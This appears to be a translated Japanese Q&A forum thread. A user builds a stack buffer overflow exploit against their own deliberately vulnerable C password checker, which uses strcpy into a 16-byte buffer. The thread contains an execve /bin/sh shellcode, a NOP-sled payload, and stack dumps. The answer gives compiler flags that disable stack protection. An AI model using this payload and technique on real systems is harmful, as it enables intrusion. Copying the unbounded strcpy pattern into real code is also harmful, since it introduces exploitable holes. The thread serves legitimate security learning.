私は自分のコンピューターで実験しているので、バッファオーバーフローをテストするためにCで脆弱なプログラムを作成しました。
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int check_password(char *password){
int retval = 0;
char possible_password_1[16] = "possiblepasswrd";
char possible_password_2[16] = "drwssapelbissop";
char user_input_password[16];
strcpy(user_input_password, password);
if(!strcmp(possible_password_1, user_input_password))
retval = 1;
if(!strcmp(possible_password_2, user_input_password))
retval = 2;
return retval;
}
int main(int argc, char *argv[]){
if(argc < 2){
printf("Not enough arguments\n");
return -1;
}
int correct = check_password(argv[1]);
if(correct)
printf("CORRECT PASSWORD\n");
else
printf("INCORRECT PASSWORD\n");
return 0;
}
あまりよく書かれていませんが、脆弱性がたくさんあります。
パスワードが間違っていても、プログラムに「正しいパスワード」を表示させるために、retvalを上書きすることができました。ただし、シェルコードをテストしたいと思います:\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80
しかし、私はそれを実行させることができません。セグメンテーション違反が発生します。
Strcpyを呼び出す直前のcheck_password関数のスタックは次のとおりです。
0xbffff30c: 0x00000000 0xb7fff000 0xb7fff918 0xbffff330
0xbffff31c: 0x73777264 0x65706173 0x7369626c 0x00706f73
0xbffff32c: 0x73736f70 0x656c6269 0x73736170 0x00647277
0xbffff33c: 0x00000000 0x00008000 0xb7fb1000 0xbffff378
0xbffff34c: 0x08048523 0xbffff5c3 0x00000003 0xb7e30740
とりわけ、0x08048523
が表示されます。これは、mainでcheck_passwordを呼び出した直後の命令を指しているため、リターンポインタのようです。
0x0804851e <+59>: call 0x804844b <check_password>
0x08048523 <+64>: add esp,0x10
したがって、私はこれを中心にエクスプロイトバッファを構築することにしました。
00000000: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
00000010: 90 90 90 90 90 90 90 90 90 31 c0 50 68 2f 2f 73 .........1.Ph//s
00000020: 68 68 2f 62 69 6e 89 e3 50 53 89 e1 b0 0b cd 80 hh/bin..PS......
00000030: c4 f5 ff bf c4 f5 ff bf c4 f5 ff bf c4 f5 ff bf ................
00000040: c4 f5 ff bf ....
0xbffff5c4
は*argv[1]
のアドレスであり、シェルコードが含まれています。
0xbffff5c4: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff5cc: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff5d4: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff5dc: 0x31 0xc0 0x50 0x68 0x2f 0x2f 0x73 0x68
0xbffff5e4: 0x68 0x2f 0x62 0x69 0x6e 0x89 0xe3 0x50
上書きが発生すると、mainの次の命令へのアドレスが次のアドレスで上書きされます。
前:
0xbffff30c: 0x00000000 0xb7fff000 0xb7fff918 0xbffff330
0xbffff31c: 0x73777264 0x65706173 0x7369626c 0x00706f73
0xbffff32c: 0x73736f70 0x656c6269 0x73736170 0x00647277
0xbffff33c: 0x00000000 0x00008000 0xb7fb1000 0xbffff378
0xbffff34c: 0x08048523 0xbffff5c3 0x00000003 0xb7e30740
後:
0xbffff30c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff31c: 0x90909090 0x90909090 0x50c03190 0x732f2f68
0xbffff32c: 0x622f6868 0xe3896e69 0xe1895350 0x80cd0bb0
0xbffff33c: 0xbffff5c4 0xbffff5c4 0xbffff5c4 0xbffff5c4
0xbffff34c: 0xbffff5c4 0xbffff500 0x00000003 0xb7e30740
私の知る限り、シェルコードは関数が戻るとすぐに実行されるはずです。ただし、これは当てはまりません。
Program received signal SIGSEGV, Segmentation fault.
0xbffff5c4 in ?? ()
ここで何を間違えたのかよくわかりません。誰かが私を正しい方向に向けてくれませんか?
ありがとうございました。
スタック保護を無効にするコードをコンパイルする必要があると思います。たとえば、次のようにしてみてください。
gcc -g -fno-stack-protector -zexecstack -o vuln vuln.c
-g(デバッグ情報を有効にする)
-f no-stack-protector(バッファオーバーフローをチェックするための追加コードを無効にする)
-z execstack(スタックを実行可能にします...シェルコードがある場所)